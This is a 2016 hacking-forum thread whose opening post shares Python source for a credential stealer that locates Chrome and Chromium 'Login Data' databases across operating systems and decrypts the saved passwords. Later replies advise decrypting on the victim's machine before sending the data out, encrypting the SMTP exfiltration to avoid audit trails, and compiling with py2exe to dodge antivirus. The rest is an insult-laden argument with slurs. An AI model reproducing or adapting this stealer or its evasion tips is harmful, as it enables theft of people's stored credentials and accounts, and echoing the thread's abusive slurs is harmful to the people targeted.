

Forum: [Hack Forums](#)

Thread: [\[Source\] Google Chrome Password Stealer](#)

0x52-0x75-0x64-0x79 - May 15, 2016, 2:58 am

For Actual Coders/Programmers

Hello to for all of those pythonista's out there, a hardy function to return passwords from a chromium based browsers. This is simply a function, no retarded print statements, allowing for code reuse in an project. Tell you, malware analysts are correct when they say most hackers cant code for shit.

I have seen many 'interpretations' of late (not naming names), however i find them to be poorly written, and will fail in most cases. They do not cover Chromium based installs (many companies including AV outfits like to roll their on chromium build, mostly they do not change decryption routine.), or handle non-windows platforms. (This code is yet to handle decryption for nix)

This function does require passing the platform to it, however it then deals with the correct paths from there. I believe any good programmer would agree that each function should handle a clear defined problem.

I will be working on a ctypes interpretation of win32decrypt as a @TheHojack has pointed out, this should allow for less dependencies.

PHP Code

```
<?php
class AccessError(Exception):
    pass

def retgcstoredpasswds(platform,version='chrome'):
    """
    Function that will fetch (if any) stored passwords from within Google Chrome's sqlite3 database for the user running the process.

    Results are returned as a set - URL, Username, Password.

    Tested against GC 47.0.2526.106 m, Issue dates back to at least 27.0.1453.110, fix unlikely, as google assign as not a threat.

    Should work against any chromuim based browser produced in that time, unless the developer handles saved passwords differently.
    """

    from os import getenv
    from sqlite3 import connect as sqconnect
    from win32crypt import CryptUnprotectData as dc

    if version == 'chrome': fpath = '\\Google\\Chrome\\'
    else: fpath = '\\Chromium\\'
```

```

results = []
if platform == 'win6x': path = getenv("APPDATA") + "\\..\\Local\\" + fpath +
"User Data\\Default\\Login Data"
elif platform == 'win5x': path = 'C:\\Documents and Settings\\' + getenv('USERNAME') +
'\\Local Settings\\Application Data' + fpath + 'User Data\\Default\\Login Data'
elif platform == 'osx': path = getenv('HOME') + '/Library/Application Support/' + fpath +
'/Default/Login Data'
elif platform == 'chros': path = '/home/chronos/Login Data'
elif platform == 'nix':
    if version == 'chrome': fpath = 'google-chrome'
    else: fpath = 'chromium'
    path = getenv('HOME') + '/.config/' + fpath + '/Default/Login Data'
else: raise ValueError('Browser type not understood or supported.')
connect = sqconnect(path)
cursor = connect.cursor()
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except OperationalError:
    raise AccessError("Chrome or other user accessing db")
for result in cursor.fetchall():
    password = dc(result[2], None, None, None, 0)[1]
    if password:
        results.append((result[0], result[1], password))

return results

```

SIM-1866423 - May 15, 2016, 4:53 am

Did you see this issue?,

<https://hackforums.net/showthread.php?tid=5239440>

0x52-0x75-0x64-0x79 - May 15, 2016, 7:10 am

(May 15, 2016 04:53 AM)b3mb4m Wrote: [\[CITE\]](#) Did you see this issue?,

hackforums.net/showthread.php?tid=5239440

Yes i did indeed :D , i believe my post states the differences between the two.

Walt Disney™ - May 15, 2016, 7:12 am

This looks interesting. I'm going to save the code to look at later. Have been learning from sources lately.

Thanks.

TheKojak - May 15, 2016, 1:53 pm

(May 15, 2016 02:58 AM)0x52-0x75-0x64-0x79 Wrote: [\[CITE\]](#) I will be working on a ctypes interpretation of win32decrypt as a @TheHojack has pointed out, this should allow for less dependencies.

Lol. Thanks for crediting me...

TheKojak Wrote: [\[CITE\]](#) I don't like the heavy use of the pywin32 module, especially for such trivial tasks which could be easily created in pure ctypes. Using win32crypt, win32api, and win32file adds ~300kb of dependencies.

0x52-0x75-0x64-0x79 - May 15, 2016, 2:00 pm

(May 15, 2016 01:53 PM)TheKojak Wrote: [\[CITE\]](#) Lol. Thanks for crediting me...

Couldn't agree more though, less dependencies, the better. Fuck the expression 'dont re-invent the wheel' how else are you supposed to learn.

The only even-cleaner method would be to somehow implement the decryption function entirely, using the same inputs as the Kernel, difficult, but would avoid any API hooking/monitoring.

UberUnicorn - May 16, 2016, 6:54 am

Just send the encrypted passwords to your computer and then decrypt them on your end.

0x52-0x75-0x64-0x79 - May 16, 2016, 11:39 pm

I would usually agree with server side decryption, however in this case of using the win32decrypt function, the key and salt are derived from unique values to that user, so if the data is exfiltrated first, it would be unable to decrypt.

For security, i could suggest re-encrypting the passwords with DH or maybe AES for transmission.

@beef - May 17, 2016, 12:28 am

Did you decide to just copy my thread? or?

(May 16, 2016 06:54 AM)UberUnicorn Wrote: [\[CITE\]](#) Just send the encrypted passwords to your computer and then decrypt them on your end.

Let me explain in a less complex way. You can't decrypt the passwords on your computer because it's like taking the key from your grandmothers door and trying to use it in your your door lol.. it just won't work. However you can decrypt on their pc then send it to yourself decrypted.

0x52-0x75-0x64-0x79 - May 17, 2016, 12:41 am

(May 17, 2016 12:28 AM)@beef Wrote: [\[CITE\]](#) Did you decide to just copy my thread? or?
I tried not to do this...

Read my thread again...

@beef - May 17, 2016, 12:47 am

(May 17, 2016 12:41 AM)0x52-0x75-0x64-0x79 Wrote: [\[CITE\]](#) I tried not to do this...

Read my thread again...

I didn't read it the first time sorry but you must have gotten the idea from my thread lol? It's practically the same concept.

0x52-0x75-0x64-0x79 - May 17, 2016, 1:25 pm

Not i'm afraid. I first wrote this code last year. I used it for my own purposes in a few different projects etc. I decided to release my code to HF when i saw yours... and namely the way you dealt with people who decided to offer suggestions. I decided to combat that in ways twofold: release a reusable function that is modular and can be re-purposed for any purpose, and to offer a line of support etc, in which I may be slightly nicer.

I don't mean to offend, honestly :D ; and tried to avoid saying any of this, but i found it audacious that you would offer mediocre code, take advice/suggestions very poorly and offer wrong/poor advice.

Check my post about reversing "FUD" python exe's: hackforums.net/showthread.php?tid=5270367

On another note, respect for your code release bro, honestly. Just don't shove it down peoples throats, were supposed to be a community here, no matter how annoying skids may be. I'm all for a "gentrification"(lol) of HF.

@beef - May 17, 2016, 2:35 pm

So you decided to make this thread to counter my code lool and holy shit. It's free code.. it's not going to be the 10/10 fucking best new thing. Most of the people on my thread were crying. about the code when they couldn't even take the source and improve it themselves. Where is my "poor advice"? lol. You're still quite new to the forum. You shouldn't get so full of yourself bro. Free code isn't going to be the best thing ever. GI with your "support" lol. I've had a shit ton of people adding me on Skype for help and I've helped every single one? tf

Cats00n - May 17, 2016, 7:33 pm

Hey man, looks awesome :)

side note: I added the code tag to my post, I would PM you, but I don't have enough posts yet.

0x52-0x75-0x64-0x79 - May 17, 2016, 11:17 pm

(Apr 17, 2016 12:33 PM)@beef Wrote: [\[CITE\]](#) You should really use your brain next time lol.Yeah... real nice...

(Apr 17, 2016 01:20 PM)@beef Wrote: [\[CITE\]](#) k stop talking about stuff you know nothing about yet again... just a suggestion of sockets

(Apr 20, 2016 10:46 PM)@beef Wrote: [\[CITE\]](#) It's not lmao because when you compile it then its FUD.

Plain wrong...

As for skype, i can say nothing, i'm sure you have given valuable support to users, so in a sense, i apologise. I never meant any disrespect, and tried to avoid all this.

Even If i was new to this forum, what would it matter, since when should my length of time on a forum dictate my actual skill? It's these sort of attitudes that have brought HF to where it is today...

--

Bottom Line

I have respect for you and for anyone who actively goes out and contributes to HF, but i am tired, and even somewhat depressed at the state of this place. I remember HF in an older time where threads/users/content were of a much higher quality. HF is a tool and community that could be utilized to be something really awesome. Dealing with the skids by abusive means is not the way to go bro. Rant over

@beef - May 17, 2016, 11:53 pm

You can't really judge a forum when you've recently joined. HF is fine. It's just you complaining about shit that doesn't matter and shit that no one really cares about. Nice, you've quoted out some of my posts from my thread. How about you read the responses before that which will justify what I said lmao.

When you compile my program with py2exe no AV can detect it because it puts all the libraries and shit or whatever into the folder. Don't talk about something you don't know about.

It's fucking annoying. How many people are gonna keep complaining and giving shit about that thread. Its free code. If you don't like it then change it.

0x52-0x75-0x64-0x79 - May 18, 2016, 12:33 am

(May 17, 2016 11:53 PM)@beef Wrote: [\[CITE\]](#) When you compile my program with py2exe no AV can detect it because it puts all the libraries and shit or whatever into the folder. Don't talk about something you don't know about.

It's fucking annoying. How many people are gonna keep complaining and giving shit about that thread. Its free code. If you don't like it then change it.

I have fully read your thread, and nothing warranted your responses that i quoted. There are other i haven't quoted that they probably deserved, funnily enough though, it took you to wind them up first.

Like i say, i have been part of this forum for all of my coding life, and that's long before this year. Your an Elitist and a fool.

Like i said before, read my thread: hackforums.net/showthread.php?tid=5270367

Its you who clearly know nothing about this subject

I wasn't complaining about your code. but seeing as your so abrasive and your pretty much so begging for it...

Your code is terrible, its layout is sloppy, with no error detection. Will only work in one case. You obviously know very little about programming theory, or python syntax/structure. Further to this, hard coding SMTP details, and even using SMTP to ex-filtrate data is a pretty retarded idea unless you encrypted the evidence for transmission, which i guess you didn't do because its too hard for you. Either that or you didn't think about logging across ALL SMTP servers when in transmission. I don't think leaving a clear audit trail is a good idea...

All this would be fine mate, if it wasn't the fact that your such an inflammatory cretin. Who the fuck are you to act like your gods gift to the world? Mate your a second rate skid and a c*nt.

@beef - May 18, 2016, 5:29 am

There is no logging on the smtp server I used you stupid fuck. Stop talking about shit you know nothing about. Why are you so butthurt over my free code. What's wrong with SMTP? It works perfectly fine. I made this code to release it for free. How is that so hard to fucking understand? It's simple code that can be edited into the what you want it to do. Why would I give a shit about the structure and bs.

Stop being an ignorant LQ twat and stop writing an essay in response to everything I say.

(Apr 20, 2016 10:58 PM)Judicious? Wrote: [\[CITE\]](#) My god dude. This guy shares some fucking code and you half wit fags gotta come up in here and give him shit over email details and bullshit. This is the problem with this fucking forum. Too many half wit cunts who can't appreciate someone when they share something. This isn't a popularity contest you fuck ups. Move on.

^^ this is for you

0x52-0x75-0x64-0x79 - May 18, 2016, 10:37 pm

Listen, its the mere fact your so abrasive that i mentioned it in the first place, if you hadn't kept

asking and asking, we'd never of had this conversation...

I'm no half-wit mate, but thanks :D

Keep up the good work... pffftttttttttt